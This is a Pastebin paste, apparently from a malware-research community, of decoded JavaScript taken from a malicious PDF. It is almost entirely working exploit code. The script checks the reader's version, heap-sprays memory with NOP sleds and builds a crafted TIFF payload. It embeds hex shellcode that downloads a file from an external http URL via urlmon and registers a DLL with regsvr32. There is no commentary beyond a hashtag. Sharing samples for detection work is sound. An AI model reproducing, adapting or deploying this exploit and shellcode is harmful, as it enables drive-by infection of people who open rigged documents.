Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //decode...get the eval() <-- just run it as per it is..
- Midias = unescape(gerpsoi.replace(/CHoedsp/g, dsprpa.charAt(1)));
- // written values:
- /*dbgbgfgd dswd*/var doogo = 'ikgoweewepowehjw[hhwehweh';
- var j_IgC = [31, 31, 15, 23];
- function _k_m(){
- return app;
- }
- function _b_(xVgFqV){
- var ___N = '';
- ___N = unescape(xVgFqV);
- return ___N;
- }
- function get_ver(){
- var ver = _k_m().viewerVersion.toString();
- ver = ver.replace('.', '');
- while (ver.length < 4){
- ver += '0';
- }
- ver = parseInt(ver, 10);
- return ver;
- }
- function make_block(xVgFqV, len){
- while (xVgFqV.length * 2 < len){
- xVgFqV += xVgFqV;
- }
- xVgFqV = xVgFqV.substring(0, len / 2);
- return xVgFqV;
- }
- function heap_spray3(scode){
- scode = _b_(scode);
- var sclen = scode.length * 2;
- var fxcvxx = _b_('%u9090');
- var spray = make_block(fxcvxx, 0x2000 - sclen);
- var block = scode + spray;
- block = make_block(block, 0x80000 - 0x40);
- for (var i = 0; i < 0x190; i ++ ){
- j_IgC[i] = block.substr(0, block.length - 1) + fxcvxx;
- }
- return ;
- }
- function make_str(xVgFqV, len){
- while (xVgFqV.length < len){
- xVgFqV += xVgFqV;
- }
- xVgFqV = xVgFqV.substring(0, len);
- return xVgFqV;
- }
- function num2hex(num){
- var xVgFqV = num.toString(16);
- var len = xVgFqV.length;
- var ret = (len % 2) ? '0' + xVgFqV : xVgFqV;
- return ret;
- }
- function str2uni(xVgFqV){
- var ret = '';
- for (var i = 0; i < xVgFqV.length; i += 2){
- ret += '%u';
- ret += num2hex(xVgFqV.charCodeAt(i + 1));
- ret += num2hex(xVgFqV.charCodeAt(i));
- }
- return ret;
- }
- function hex2str(hex){
- var ret = '';
- for (var i = 0; i < hex.length; i += 2){
- var b = hex.substr(i, 2);
- var num = parseInt(b, 16);
- ret += String.fromCharCode(num);
- }
- return ret;
- }
- splaui();
- function splaui(){
- var ver = get_ver();
- if (ver >= 0x1f40){
- var tiff = 'SUkqADggAABB';
- var nops = make_str('QUFB', 0x2ae8);
- var start = '
- QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAA
- EAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
- var foot = '';
- var sc_hex = '';
- if (ver < 0x2009){
- foot = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
- var sc_hex = '
- 4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a4141414126000000000000000000000000
- 0000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b70
- 1c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b75
- 3c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e
- 2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b6808
- 8bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e
- 00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c7442404
- 76723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d
- 0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c3
- 0ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b
- 1bc64679361a2f70687474703a2f2f77696e6465726d657265636f74746167652e636f2e756b2f36322e68746d
- 6c0000';
- }
- else {
- foot = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
- sc_hex = '
- 4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a4141414126000000000000000000000000
- 0000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b70
- 1c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b75
- 3c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e
- 2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b6808
- 8bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e
- 00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c7442404
- 76723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d
- 0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c3
- 0ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b
- 1bc64679361a2f70687474703a2f2f77696e6465726d657265636f74746167652e636f2e756b2f36322e68746d
- 6c0000';
- }
- if (foot.length){
- var ret = [tiff, nops, start, foot].join('');
- var sc_str = hex2str(sc_hex);
- var scode = str2uni(sc_str);
- heap_spray3(scode);
- rVBGo.rawValue = ret;
- }
- }
- }
- #malwareMustDie!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement